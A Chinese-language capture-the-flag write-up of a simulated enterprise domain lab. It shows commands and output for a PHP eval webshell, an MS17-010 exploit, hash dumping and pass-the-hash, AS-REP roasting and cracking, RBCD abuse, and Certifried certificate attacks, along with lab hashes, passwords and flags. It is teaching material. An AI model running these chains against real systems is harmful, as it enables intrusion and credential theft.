春秋云境仿真场景WP:2022网鼎杯半决赛复盘

guangen2025-03-14文章来源:SecHub网络安全社区


春秋云境仿真场景WP:2022网鼎杯半决赛复盘

靶标介绍:

该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。

前置知识

知识点

  • WordPress漏洞
  • MS17-010
  • AS-REP Roasting
  • ACL Abuse+RBCD提权
  • Certifried (CVE-2022–26923)

入口 - 39.99.137.126/172.22.15.26

外网信息收集

fscan外网信息收集:

start infoscan
39.99.137.126:80 open
39.99.137.126:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.137.126      code:200 len:39988  title:XIAORANG.LAB

wordpress后台(flag01)

端口比较少,访问80

wordpress框架

wordpress专用神器:wpscan

无可利用利用

wpscan --url "http://39.99.137.126/"

扫描目录,弱密码登录后台

dirsearch -u "http://39.99.137.126/" -i 200

admin

123456

经典漏洞,在美化界面插入一句话木马

<?php @eval($_POST['shell']);?>

蚁剑连接

http://39.99.137.126/wp-content/themes/twentytwentyone/footer.php

根目录flag1

flag{f0857370-6f43-4d6e-b1d5-d6b9400f9389}

内网一层代理

详细可见关于内网代理、vm、frp、proxifier全局流量转发等问题

frps.ini

[common]

frpc.ini

[common]
server_addr = 公网服务器地址
server_port = 7000 

[socks5]
type = tcp
remote_port = 6000 
plugin = socks5

172.22.15.24 - ms17-010

./fscan -h 172.22.15.0/24
172.22.15.24:445 open
172.22.15.26:22 open
172.22.15.13:88 open
172.22.15.24:3306 open
172.22.15.18:445 open
172.22.15.35:445 open
172.22.15.13:445 open
172.22.15.18:139 open
172.22.15.35:139 open
172.22.15.13:139 open
172.22.15.24:139 open
172.22.15.18:135 open
172.22.15.35:135 open
172.22.15.13:135 open
172.22.15.24:135 open
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
[*] NetInfo 
[*]172.22.15.35
   [->]XR-0687
   [->]172.22.15.35
[*] NetInfo 
[*]172.22.15.13
   [->]XR-DC01
   [->]172.22.15.13
[+] MS17-010 172.22.15.24	(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo 
[*]172.22.15.24
   [->]XR-WIN08
   [->]172.22.15.24
[*] NetInfo 
[*]172.22.15.18
   [->]XR-CA
   [->]172.22.15.18
[*] NetBios 172.22.15.18    XR-CA.xiaorang.lab                  Windows Server 2016 Standard 14393
[*] NetBios 172.22.15.13    [+] DC:XR-DC01.xiaorang.lab          Windows Server 2016 Standard 14393
[*] OsInfo 172.22.15.13	(Windows Server 2016 Standard 14393)
[*] NetBios 172.22.15.35    XIAORANG\XR-0687              
[*] NetBios 172.22.15.24    WORKGROUP\XR-WIN08                  Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
[*] WebTitle http://172.22.15.18       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.15.24       code:302 len:0      title:None 跳转url: http://172.22.15.24/www
[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect 
[*] WebTitle http://172.22.15.24/www/sys/index.php code:200 len:135    title:None

整理信息

172.22.15.24存在ms17-010

IP地址 NetBIOS名称 域/工作组 系统信息
172.22.15.13 XR-DC01 DC:XR-DC01 .xiaorang.lab Windows Server 2016 Standard 14393
172.22.15.18 XR-CA.xiaorang.lab - Windows Server 2016 Standard 14393
172.22.15.24 XR-WIN08 WORKGROUP Windows Server 2008 R2 Enterprise 7601 SP1
172.22.15.35 XIAORANG\XR-0687 - 未提供

ms17-010(flag02)

使用proxychains4搭配msf

proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.15.24
run

提取本地密码hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

psexec.py

远程执行

可使用密码认证、hash认证、kerberos认证。

使用psexec.pyshell

proxychains4 python3 psexec.py administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk
#-codec gbk:强制编码设置为 gbk

C:\Users\Administrator\flag>目录下

flag{4d1dd4ce-9a48-4ca7-a8b7-a14f69dc3c2b}

RDP连接

修改admin密码

net user administrator Admin123456.

Profixier开全局代理win+r开mstsc连接

出现配置错误,参考CredSSP加密数据库修正

小皮面板翻找mysql密码

root

root@#123

登录后台导出数据,可是我这里一直缓存,不过无碍,使用navicat一样导出

http://172.22.15.24/phpmyadmin/index.php

重点看到zdoo这个数据库,因为24还有一个web服务,里面就用的这个数据库,在zdoosys_user里面找到了域内邮箱

整理下内容

lixiuying@xiaorang.lab
lixiaoliang@xiaorang.lab
zhangyi@xiaorang.lab
jiaxiaoliang@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
wanghao@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab

172.22.15.13 - Kerberos 预身份验证

跑一下GetNPUsers.py看一下是否存在有不要求Kerberos 预身份验证的账户。

proxychains4 python3 GetNPUsers.py -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile /root/flowers/email.txt

获得TGT票据

$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:1fdbf40467e334f4feb8bf42fee562db$968097ed65cce026655dd2600412679aafec75b5fee62aa2b515aee7da3e1675d675c5dd91c2f6eed43730cf313cf9c3941b57282db13be4ad11ecbf3418e33feceffe66820ddb4dec688954f824afaf5581fc4589ca0720eeae3ebc186dcdd7f3a05ae00ba82b4b83d12c2e92b140eb50536387212da07e2433f299a29878723ba016440eb21700426ccc0cf7146fa07c9585cb606d2068fa813ce1516f00f2d9cd56af35d4a2484a07d975e67993f60038cc6a17fa6aa5e720396434d87198f35d2668c94412e1ae5065997a83935b0510774e056d4e74254ecef1a43cf90167234dc55da84db452e918ba
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:bf3efd7f4340616001d7d3d3071d94dd$3de614823309d858b8bf636aca3f554017a6f2974b1dcb68319ffb71a76e4b4ca658ef05743e5504ccffd26f045174c40acf0314c58e80aecd4ae3acb9d971ef3058f5f99a2827e9332725face5ee187c5bbe356e6a33aa848d75acc79a62984ea338e1171a29c483c7f2397cfac7ec53b1e6858cdb92aabb26f9aec9fd23474f294d0ae36f651e3dbef328a7f1988655cb7a54cb6e213eca227add9349b91ddf8eaa1c87c5458483de0f9d0de1df8982c0a640c47b36f407ec3b0a377f7d1a79e3b745ecd7c4b4ea0c62a347fbee2d5447e19468783989cd0daf9b302795c8b43fba32ab62db388837a1df1

爆破hash值

lixiuying/winniethepooh
huachunmei/1qaz2wsx

john --wordlist=/usr/share/wordlists/rockyou.txt /root/flowers/hash.txt

CrackMapExec 是一个多功能网络侦察和渗透工具,广泛用于测试 SMB、LDAP、WINRM 等协议的身份验证

crackmapexec去扫描

proxychains4 -q crackmapexec smb 172.22.15.0/24 -u 'lixiuying' -p 'winniethepooh'
#-q 静默模式

尝试过后只有172.22.15.35能够登录

172.22.15.35 - ACL Abuse+RBCD提权

bloodhound 收集域内信息

proxychains bloodhound-python -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 --zip --dns-tcp
#-d 指定目标的 AD 域名为 xiaorang.lab
#-c all 指定采集所有支持的类型数据
#-ns 指定域的 DNS 服务器为 172.22.15.13
#--zip 将采集到的数据保存为 ZIP 文件,方便导入 BloodHound 图形化界面进行分析
#--dns-tcp 使用 TCP 协议(而非默认的 UDP)进行 DNS 查询
apt-get install bloodhound#安装
neo4j console #启动
User默认 neo4j
Password默认 neo4j
连接成功后就会提示创建新密码
我修改成root
接下来在终端输入bloodhound,会启动bloodhound的图形化页面,然后输入neo4j的账号密码即可

可以看到lixiuying对XR-0687具有 GenericWrite 权限,那么我们就可以通过配置 RBCD 拿到 XR-0687 的权限

提权(flag03)

addcomputer.pyImpacket 工具中的一个脚本,用于在域中添加计算机账户。

proxychains4 python3 addcomputer.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass 'P@ssw0rd'

rbcd.pyImpacket 工具中的脚本,用于滥用基于资源的约束委派(Resource-Based Constrained Delegation, RBCD)

  • -action write:将委派权限写入目标机器 XR-0687

  • -delegate-to 'XR-0687:指定被委派的目标为 XR-0687

  • -delegate-from 'TEST:指定来源计算机账户为 TEST(在第一步中添加的账户)

proxychains4 python3 rbcd.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'TEST$'

getST.pyImpacket 中的脚本,用于获取服务票据(Service Ticket)

  • 使用添加的计算机账户 TEST 的凭据 P@ssw0rd 访问目标服务。

  • -spn cifs/XR-0687.xiaorang.lab:请求服务主名称 (SPN) 为 cifs 的服务票据,目标为 XR-0687.xiaorang.lab

  • -impersonate Administrator:请求以域管理员身份模拟(Impersonation)。

  • 成功后,可以生成一个有效的 TGS(服务票据),用于访问目标服务。

proxychains4 python3 getST.py xiaorang.lab/'TEST$':'P@ssw0rd' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

导入票据

export KRB5CCNAME=Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache

psexec.py 是 Impacket 中的一个脚本,基于 SMB 协议远程执行命令。

  • 使用伪装管理员身份(获取的服务票据)登录目标主机 XR-0687.xiaorang.lab

  • -k:使用 Kerberos 认证。

  • -no-pass:无需提供密码,因为使用的是 Kerberos 票据。

  • 成功后,攻击者可以在目标主机上执行任意命令。

  • -codec gbk:强制编码设置为 gbk

proxychains4 -q python3 psexec.py -k -no-pass -dc-ip 172.22.15.13 administrator@XR-0687.xiaorang.lab -codec gbk

显示连接超时,可是我明明开启了全局流转发,这个就很奇怪

使用物理机和虚拟机去ping不都通

后来发现是hosts问题

172.22.15.35 XR-0687.xiaorang.lab

再次伪装管理员身份登录主机

相同目录下flag

flag{3dcbfa86-b683-4321-b16b-c1b6ed4e1b78}

172.22.15.13 - Certifried(flag04)

fscan在扫描过程中还有poc未使用

poc-yaml-active-directory-certsrv-detect

可以参考这篇文域内权限提升新姿势:CVE-2022–26923漏洞分析及复现

通过certipy-ad创建一个机器账号Test2,并且设置 DNS Host Name 为域控的 XR-DC01.xiaorang.lab

proxychains4 certipy-ad account create -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -user Test2 -pass Test1234 -dns 'XR-DC01.xiaorang.lab'
#certipy-ad 是一个用于攻击和利用活动目录证书服务(AD CS)的工具,常用于渗透测试。它支持多种攻击操作,例如枚举、账户创建、证书请求等。
#-u lixiuying@xiaorang.lab 指定用于身份验证的账户,格式为 username@domain
#-dc-ip 172.22.15.13指定目标域控制器(Domain Controller, DC)的 IP 地址。
#-user Test2 指定要创建的新账户名称为 Test2
#-pass Test1234 指定新账户 Test2 的密码为 Test1234
#-dns 'XR-DC01.xiaorang.lab' 指定目标域控制器的完整 DNS 名称

通过一个已创建的账户(Test2$)向 AD CS 请求证书

proxychains4 certipy-ad req -u 'Test2$@xiaorang.lab' -p 'Test1234' -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine
#-ca "xiaorang-XR-CA-CA" 指定证书颁发机构(Certificate Authority, CA)的名称为 xiaorang-XR-CA-CA
# -template Machine 指定使用的证书模板为 Machine

检索Hash生成票据

proxychains4 certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13

出现报错

因为 域控制器没有安装用于智能卡身份验证的证书,具体可参考:参考:Pass The Certificate when PKINIT Padata Type is NOSUPP

通过 Schannel将证书传递到 LDAPS,修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限

首先把 xr-dc01.pfx 导出为.key 和 .crt 两个文件

openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt
#输入密时回车即可

通过证书文件与目标域控制器进行身份认证

脚本地址passthecert.py

proxychains4 python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13
#-crt test.crt	提供公钥证书文件 test.crt,用于 PKINIT 验证
#-key test.key	提供私钥文件 test.key,与 test.crt 结合使用进行身份认证
#-domain xiaorang.lab	指定目标域的名称为 xiaorang.lab
#-dc-ip 172.22.15.13 指定目标域控制器(Domain Controller, DC)的 IP 地址为 172.22.15.13

将证书配置到域控的RBCD

proxychains4 python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'Test2$'

申请票据

proxychains4 python3 getST.py xiaorang.lab/'Test2$':'Test1234' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

导入票据

export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache

登录,显示连接超时,加一下hosts就好

172.22.15.13 XR-DC01.xiaorang.lab

proxychains4 python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13

重新连接下

chcp 65001解决乱码问题

最后的flag4

flag{1571a221-3182-424d-98de-1baa80490bf1}